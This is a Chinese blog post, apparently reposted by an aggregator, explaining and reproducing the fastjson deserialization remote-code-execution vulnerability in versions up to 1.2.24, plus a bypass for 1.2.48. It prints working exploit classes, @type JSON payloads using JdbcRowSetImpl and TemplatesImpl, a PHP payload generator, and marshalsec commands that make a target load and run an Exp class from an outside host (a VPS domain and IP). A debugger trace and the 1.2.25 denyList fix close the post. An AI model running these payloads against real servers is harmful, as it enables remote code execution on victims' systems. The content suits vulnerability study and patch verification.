fastjson反序列化漏洞原理及利用

Posted 2020-12-10 sijidou

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篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了fastjson反序列化漏洞原理及利用相关的知识，希望对你有一定的参考价值。

重要漏洞利用poc及版本

我是从github上的参考中直接copy的exp，这个类就是要注入的类

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {

    public Exploit() {
        try{
            // 要执行的命令
            String commands = "calc.exe";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }

}

网上经常分析的17年的一个远程代码执行漏洞

适用范围版本 <= 1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}

FastJson最新爆出的绕过方法

适用范围版本 <= 1.2.48

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";

预备知识

使用spring boot来搭建本次的环境，这样对java的版本和fastjson版本的修改十分的轻松，选取的依赖如下

使用的是fastjson 1.2.24版本

写一个像javabean一样作用的类

这里直接用参考的一篇freebuf上的代码了，作用很简单，设置了age，username的设置和读取，secret的读取

package com.fastjson.demo;

class Demo2User {
    private int age;
    public String username;
    private String secret;
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public String getUsername() {
        return username;
    }
    public void setUsername(String username) {
        this.username = username;
    }
    public String getSecret() {
        return secret;
    }
    @Override
    public String toString() {
        return this.age + "," + this.username + "," + this.secret;
    }
}

fastjson的工作形式

fastjson的功能就是将json格式转换为类、字符串等供下一步代码的调用，或者将类、字符串等数据转换成json数据进行传输，有点类似序列化的操作

首先介绍下序列化操作和反序列化操作需要的函数

函数	作用
JSON.toJSONString(Object)	将对象序列化成`json`格式
JSON.toJSONString(Object,SerializerFeature.WriteClassName)	将对象序列化成`json`格式，并且记录了对象所属的类的信息
JSON.parse(Json)	将`json`格式返回为对象(但是反序列化类对象没有@Type时会报错)
JSON.parseObject(Json)	返回对象是`com.alibaba.fastjson.JSONObject`类
JSON.parseObject(Json, Object.class)	返回对象会根据`json`中的@Type来决定
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField);	会把Json数据对应的类中的私有成员也给还原

对应测试的例子，代码如下

public class Demo2test1 {
    public static void main(String[] args){
        Demo2User demo2User = new Demo2User();
        demo2User.setAge(10);
        demo2User.setUsername("sijidou");
        String ser1 = JSON.toJSONString(demo2User);
        System.out.println(ser1);
        String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName);
        System.out.println(ser2);
        System.out.println("==========完美的分割线============");
        Demo2User demo2User1 = (Demo2User) JSON.parse(ser2);
        System.out.println(demo2User1);
        Object demo2User2 = JSON.parseObject(ser2);
        System.out.println(demo2User2.getClass().getName());
        Object demo2User3 = JSON.parseObject(ser2, Object.class);
        System.out.println(demo2User3);
        Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField);
        System.out.println(demo2User4);
    }
}

可以从上面简单的函数介绍中看出，对于序列化成json格式，用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)更加方便

而从json反序列回来，一般用JSON.parseObject()来实现

漏洞利用

对于 fastjson版本 <= 1.2.24的情况，利用思路主要有2种

通过触发点JSON.parseObject()这个函数，将json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通过特意构造达到命令执行
通过JNDI注入

利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

TemplatesImpl类，而这个类有一个字段就是_bytecodes，有部分函数会根据这个_bytecodes生成java实例，这就达到fastjson通过字段传入一个类，再通过这个类被生成时执行构造函数。

首选准备好poc，也就是之后会装到_bytecodes里面的内容，本地测试是windows系统，所以直接弹计算器，用java运行一下，就会生成poc.class文件

package com.fastjson.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class poc extends AbstractTranslet {

    public poc() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        poc t = new poc();
    }
}

拿到这个文件，将其内容进行base64编码，我拿vulhub上用php写的exploit.php改了改

<?php
$bytes = file_get_contents(\'poc.class\');
$json = \'{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["\'.base64_encode($bytes).\'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}\';
echo $json;

同目录下运行

准备下接受的代码，我从vulhub上的fastjson项目进行修改的，使代码更加简洁，逻辑很简单从post的body中的数据进行fastjson的序列化

public class Demo3{
    public void init()
    {
        get("/", (req, res) -> "Hello World");
        post("/", (request, response) -> {
            String data = request.body();
            JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField);
            return "122";
        });
    }

    public static void main(String[] args)
    {
        Demo3 i = new Demo3();
        i.init();
    }
}

运行下能够成功触发计算器

漏洞分析

debug跟踪下堆栈看看发生了什么

最先肯定是传入点JSON.parseObject(data, Feature.SupportNonPublicField);接口，这个漏洞利用方法必须要存在Feature.SupportNonPublicField设置（即允许private对象传入）

接下来会到JSON类中，发现JSON.parseObject()其实是调用了JSON.parse()

下一步会进到这个函数里，是对可控长度变量的分析，这里也就是Feature.SupportNonPublicField的开启识别

调用parse(String text, int features)，继续执行parser.parse()接口

之后进入DeafultJSONParser.java通过switch判断，进入到LBRACE中

继续跟进会调用deserializer.deserialze(this, clazz, fieldName)

进入了JavaBeanDeserializer.java中，这段主要是进行反序列化操作了

之后会进入到DefaultFieldDeserializer.java中调用setValue来设置参数了

设置参数是会调用FieldDeserializer.java中的setValue，已经可以看到Method方法，标志着这里触发反射

前面的参数会不满足if(method != null)的判断，到outputProperties的时候，因为它是个类，存在method，于是进入if分支

最终到了触发点，invoke

单步跟踪2次，是对_bytecodes中的base64,对应的.class文件中的类进行还原，然后触发构造函数中的代码执行，触发计算器

这里单步跟踪2次时候没有任何反应,之后发现是没对com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类没进行下载，并且没有进行下断点.....

那么在这个点继续跟进，首先仔细看上面反射调用的方法com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

进TemplatesImpl类里面对getOutputProperties()下断点

继续跟踪newTransformer()方法，看名字就是新生成一个Transformer

在第486行调用了getTransletInstance()方法，之后进入getTransletInstance()方法中

因为我们精心构造的exp里面没有__class成员变量，所以会触发defineTransletClasses()方法，跟进

进入后是对 _bytecodes字段进行base64解码后还原这个class,之后就出来回到了getTransletInstance()

可以看到455行的translet被赋值成class.com.fastjson.demo.poc也就是我们构造的的poc类，在456行进行初始化的时候，触发代码执行

通过jndi注入

jndi是一个Java命令和目录接口，举个例子，通过jndi进行数据库操作，无需知道它数据库是mysql还是ssql，还是MongoDB等，它会自动识别。

当然rmi也可以通过jndi实现，rmi的作用相当于在服务器上创建了类的仓库的api，客户端只用带着参数去请求，服务器进行一系列处理后，把运算后的参数还回来。

这里漏洞利用要明确思路：

攻击者在本地启一个rmi的服务器，上面挂上恶意的payload

让被攻击的目标反序列化特定的类，这个类最终会调用lookup()函数，导致jndi接口指向我们的rmi服务器上的恶意payload

利用方法

在本地挂上恶意代码执行的类，本地复现到了实际中又因为要公网ip所以要重新部署，所以我这里就直接把恶意的Exp和rmi服务器都放在vps上了

准备Exp

import java.lang.Runtime;
import java.lang.Process;

public class Exp {

    public Exp() {
        try{
            // 要执行的命令
            String commands = "calc";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exp e = new Exp();
    }

}

编译一下

javac Exp.java

在本地启动rmi服务器,这里推荐github上的一个项目marshalsec

https://github.com/mbechler/marshalsec

需要用maven进行生成jar包，进入marshalsec目录后

git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true

之后使用过的是这个包，可以移动到仍意目录都可以

接下来就是启动rmi服务器了，这里要做2个步骤

第一使用python的SimpleHTTPServer模块在刚刚编译好的Exp.class目录下开一个web服务

python -m SimpleHTTPServer 8000

访问下网页是能看到的

之后利用marshalsec,启动rmi服务，再开一个shell

 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  http://mi0.xyz:8000/#Exp

万事已经准备好了，接下来只要在被攻击的目标(这里是本机)发送python进JSON.parse()就会触发

import com.alibaba.fastjson.JSON;

public class poc {
    public static void main(String[] args) throws Exception {
        String payload = "{\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\",\\"dataSourceName\\":\\"rmi://134.175.147.161:1099/Exp\\",\\"autoCommit\\":true}";
        JSON.parse(payload);
    }
}

成功弹出计算器

之前一直尝试不成功，改了下jre的版本为1.8_102能够触发

1.2.25之后修复方案

在1.2.25之后，在ParserConfig.java中添加了public Class<?> checkAutoType(String typeName, Class<?> expectClass)过滤的函数

注意其中的这一段，如果类的名字开头在deny名单里面，就直接抛出错误了

看看denyList的名单

 private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");